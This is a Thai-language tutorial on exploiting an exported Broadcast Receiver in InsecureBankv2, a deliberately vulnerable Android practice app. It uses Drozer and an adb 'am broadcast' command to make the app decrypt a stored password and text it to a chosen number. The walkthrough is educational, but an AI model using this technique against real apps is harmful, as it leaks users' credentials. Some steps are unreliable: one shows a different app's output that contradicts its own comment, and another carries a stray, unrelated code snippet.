How to exploit flawed “Broadcast Receivers” using ADB – Insecure Bank

บทนำ (Overview)
“Broadcast Receivers” เป็นส่วนประกอบหนึ่งของ “Android Components” ถูกใช้สำหรับจัดการการสื่อสารข้อมูลระหว่าง “Android Operating System” กับตัวโปรแกรมของเรา “Applications”

public class MyContentProvider extends ContentProvider {
}

เราสามารถแบ่ง “Broadcast Receivers” ได้เป็น

System Events
โปรแกรมที่เราเขียนนั้นสามารถลใช้งาน “Broadcast” ที่เกิดจากระบบได้เพื่อนำไปตรวจสอบในโปรแกรมของเราเช่น แบตเตอรี่ของเครื่องใกล้หมดหรือ มี “SMS” เข้ามา เป็นต้น

Custom Broadcasts
โปรแกรมที่เราเขียนสามารถส่ง Broadcast intent ได้เช่นกัน

ขั้นตอน (Steps)

  1. ค้นหาชื่อ “Package” ของ “Application” ที่จะตรวจสอบ
  2. ติดตั้งโปรแกรม “InsecureBankv2.apk” บน “Android Emulator” (ติดตามได้ที่บทความ How to install .apk on emulator)
  3. ติดตั้งและตั้งค่าสำหรับโปรแกรม “Drozer” (How to set Drozer)
  4. เรียกใช้ Drozer console
    //Forward port เพื่อเชื่อมต่อโปรแกรม Drozer บน Emulator หรือ Device
    C:\Users\[user]\Desktop
    λ adb forward tcp:31415 tcp:31415
      
    //เรียกใช้งาน Drozer console
    C:\Users\[user]\Desktop
    λ drozer console connect
    
  5. ตรวจสอบชื่อ “package” โดยใช้คำสั่งค้นหา
    //ทดลองเดาชื่อโปรแกรม หรือคำอื่น ๆ เพื่อช่วยในการค้นหา
    //ทดลองเดาชื่อโปรแกรม หรือคำอื่น ๆ เพื่อช่วยในการค้นหา
    dz> run app.package.list -f insecure
    com.android.insecurebankv2 (InsecureBankv2)
    
  6. จากนั้นไปหายอดสรุปก่อนว่า “Component” มีเปิด “Exported” อยู่หรือไม่
    //จากตัวอย่างพบว่ามีbroadcast receivers เปิดอยู่ 2 component
    dz> run app.package.attacksurface com.mwr.example.sieve
    Attack Surface:
      3 activities exported
      0 broadcast receivers exported
      2 content providers exported
      2 services exported
        is debuggable
    
  7. เมื่อทราบว่ามี “broadcast recievers” มาตรวจสอบข้อมูล “Export” ใน “AndroidManifest.xml” ไฟล์ดังนี้
    
    <manifest versionCode="1" versionName="1.0" package="com.android.insecurebankv2" platformBuildVersionCode="22" platformBuildVersionName="5.1.1-1819727">
      <uses-sdk minSdkVersion="15" targetSdkVersion="22">
      </uses-sdk>
      <uses-permission name="android.permission.INTERNET">
      </uses-permission>
      <uses-permission name="android.permission.WRITE_EXTERNAL_STORAGE">
      </uses-permission>
      <uses-permission name="android.permission.SEND_SMS">
      </uses-permission>
      <uses-permission name="android.permission.USE_CREDENTIALS">
      </uses-permission>
      <uses-permission name="android.permission.GET_ACCOUNTS">
      </uses-permission>
      <uses-permission name="android.permission.READ_PROFILE">
      </uses-permission>
      <uses-permission name="android.permission.READ_CONTACTS">
      </uses-permission>
      <uses-permission name="android.permission.READ_PHONE_STATE">
      </uses-permission>
      <uses-permission name="android.permission.READ_EXTERNAL_STORAGE" maxSdkVersion="18">
      </uses-permission>
      <uses-permission name="android.permission.READ_CALL_LOG">
      </uses-permission>
      <uses-permission name="android.permission.ACCESS_NETWORK_STATE">
      </uses-permission>
      <uses-permission name="android.permission.ACCESS_COARSE_LOCATION">
      </uses-permission>
      <uses-feature glEsVersion="0x20000" required="true">
      </uses-feature>
      <application theme="@16974105" label="@2131165248" icon="@2130903040" debuggable="true" allowBackup="true">
        <activity label="@2131165248" name="com.android.insecurebankv2.LoginActivity">
          <intent-filter>
            <action name="android.intent.action.MAIN">
            </action>
            <category name="android.intent.category.LAUNCHER">
            </category>
          </intent-filter>
        </activity>
        <activity label="@2131165271" name="com.android.insecurebankv2.FilePrefActivity" windowSoftInputMode="0x34">
        </activity>
        <activity label="@2131165268" name="com.android.insecurebankv2.DoLogin">
        </activity>
        <activity label="@2131165275" name="com.android.insecurebankv2.PostLogin" exported="true">
        </activity>
        <activity label="@2131165278" name="com.android.insecurebankv2.WrongLogin">
        </activity>
        <activity label="@2131165269" name="com.android.insecurebankv2.DoTransfer" exported="true">
        </activity>
        <activity label="@2131165277" name="com.android.insecurebankv2.ViewStatement" exported="true">
        </activity>
        <provider name="com.android.insecurebankv2.TrackUserContentProvider" exported="true" authorities="com.android.insecurebankv2.TrackUserContentProvider">
        </provider>
        <receiver name="com.android.insecurebankv2.MyBroadCastReceiver" exported="true">
          <intent-filter>
            <action name="theBroadcast">
            </action>
          </intent-filter>
        </receiver>
        <activity label="@2131165267" name="com.android.insecurebankv2.ChangePassword" exported="true">
        </activity>
        <activity theme="@16973839" name="com.google.android.gms.ads.AdActivity" configChanges="0xfb0">
        </activity>
        <activity theme="@2131296479" name="com.google.android.gms.ads.purchase.InAppPurchaseActivity">
        </activity>
        <meta-data name="com.google.android.gms.version" value="@2131427332">
        </meta-data>
        <meta-data name="com.google.android.gms.wallet.api.enabled" value="true">
        </meta-data>
        <receiver name="com.google.android.gms.wallet.EnableWalletOptimizationReceiver" exported="false">
          <intent-filter>
            <action name="com.google.android.gms.wallet.ENABLE_WALLET_OPTIMIZATION">
            </action>
          </intent-filter>
        </receiver>
      </application>
    </manifest>
    
    
  8. จากข้างไฟล์ “AndroidManifest.xml” ข้างต้นเราพบว่า มี MyBroadCastReceiver” เปิด “Exported
    และมี “Action” ชื่อว่า “theBroadcast”

    <receiver name="com.android.insecurebankv2.MyBroadCastReceiver" exported="true">
          <intent-filter>
            <action name="theBroadcast">
            </action>
          </intent-filter>
        </receiver>
    
  9. ให้ “Convert Byte-code” เพื่อตรวจสอบ “Source-code” ที่เกี่ยวข้องกับ “BroadCastReceiver” สามารถติดตามได้ที่บทความ
  10. ให้ใช้คำค้นหาเกี่ยวกับ Broadcast = “MyBroadCastReceiver” และ Action “theBroadcast” เพื่อตรวจสอบฟังก์ชันการทำงานที่เกี่ยวข้อง android-bc01
  11. ตรวจสอบ “Source-code” พบ “parameter” ตัวถูกใช้สำหรับการ “sendBroadcast” คือ “phonenumber” และ “newpass”
    private void broadcastChangepasswordSMS(String paramString1, String paramString2)
      {
        if (TextUtils.isEmpty(paramString1.toString().trim()))
        {
          System.out.println("Phone number Invalid.");
          return;
        }
        Intent localIntent = new Intent();
        localIntent.setAction("theBroadcast");
        localIntent.putExtra("phonenumber", paramString1);
        localIntent.putExtra("newpass", paramString2);
        sendBroadcast(localIntent);
      }
    
  12. ตามตรวจสอบ “parameter” ที่ส่งไป android-bc02
  13. จาก “Source-code” ข้างล่างพบว่า มีการส่งข้อความโดยใช้ “SMS” (SmsManager localSmsManager = SmsManager.getDefault();)
    import android.content.BroadcastReceiver;
    import android.content.Context;
    import android.content.Intent;
    import android.content.SharedPreferences;
    import android.telephony.SmsManager;
    import android.util.Base64;
    import java.io.PrintStream;
    
    public class MyBroadCastReceiver
      extends BroadcastReceiver
    {
      public static final String MYPREFS = "mySharedPreferences";
      String usernameBase64ByteString;
      
      public void onReceive(Context paramContext, Intent paramIntent)
      {
        String str1 = paramIntent.getStringExtra("phonenumber");
        String str2 = paramIntent.getStringExtra("newpass");
        if (str1 != null) {
          try
          {
            SharedPreferences localSharedPreferences = paramContext.getSharedPreferences("mySharedPreferences", 1);
            this.usernameBase64ByteString = new String(Base64.decode(localSharedPreferences.getString("EncryptedUsername", null), 0), "UTF-8");
            String str3 = localSharedPreferences.getString("superSecurePassword", null);
            String str4 = new CryptoClass().aesDeccryptedString(str3);
            String str5 = str1.toString();
            String str6 = "Updated Password from: " + str4 + " to: " + str2;
            SmsManager localSmsManager = SmsManager.getDefault();
            System.out.println("For the changepassword - phonenumber: " + str5 + " password is: " + str6);
            localSmsManager.sendTextMessage(str5, null, str6, null, null);
            return;
          }
          catch (Exception localException)
          {
            localException.printStackTrace();
            return;
          }
        }
        System.out.println("Phone number is null");
      }
    }
    
    
  14. ย้อนกลับไปที่ “AndroidManifest.xml” เพื่อดูว่ามี “permission” ของการอ่านส่ง “SMS” หรือไม่
     <uses-permission name="android.permission.SEND_SMS">
      </uses-permission>
    
  15. สุดท้ายทดสอบใช้งาน “Broadcast Receiver” เพื่อส่ง “SMS” โดยใช้ “Adb shell” ดังนี้
    λ adb shell
    shell@hlte:/ $ am broadcast -a theBroadcast -n com.android.insecurebankv2/com.android.insecurebankv2.MyBroadCastReceiver --es phonenumber 1234 --es newpass p@ssw0rd
    .MyBroadCastReceiver --es phonenumber 1234 --es newpass p@ssw0rd              <
    Broadcasting: Intent { act=theBroadcast cmp=com.android.insecurebankv2/.MyBroadCastReceiver (has extras) }
    Broadcast completed: result=0
    shell@hlte:/ $
    
    //am broadcast -a [action] -n [package name/receiver name] --es phonenumber [Phonenumber] --es newpass [message]
    
  16. ตรวจสอบที่โทรศัพท์มือถือจะพบ “SMS” ดังนี้ android-bc03android-bc04

ใส่ความเห็น